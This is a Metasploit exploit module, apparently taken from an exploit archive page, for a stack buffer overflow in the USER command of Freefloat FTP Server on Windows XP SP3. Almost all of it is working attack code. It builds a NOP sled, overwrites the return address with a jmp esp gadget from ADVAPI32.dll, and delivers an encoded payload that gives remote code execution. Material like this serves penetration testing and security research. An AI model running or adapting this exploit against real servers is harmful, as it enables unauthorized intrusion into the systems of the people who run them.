Freefloat FTP Server Buffer Overflow Vulnerability (MSF)

2011-07-07 10:15:12

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Freefloat FTP Server Username Stack Overflow',
'Description' => %q{
This module exploits a buffer overflow found in the USER command of the Freefloat FTP server.
},
'Author' => [
'0v3r', # Initial Discovery
'James Fitts' # Metasploit Module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15689' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3', { 'Ret' => 0x77def069 } ], # jmp esp from ADVAPI32.dll
],
'DisclosureDate' => 'Dec 05 2010',
'DefaultTarget' => 0))
end

def exploit
connect

print_status("Trying target #{target.name}...")

buf = make_nops(230) + [target.ret].pack('V')
buf << make_nops(50)
buf << payload.encoded

send_cmd( ['USER', buf] , false )

handler
disconnect
end

end

Fixes

No fixes

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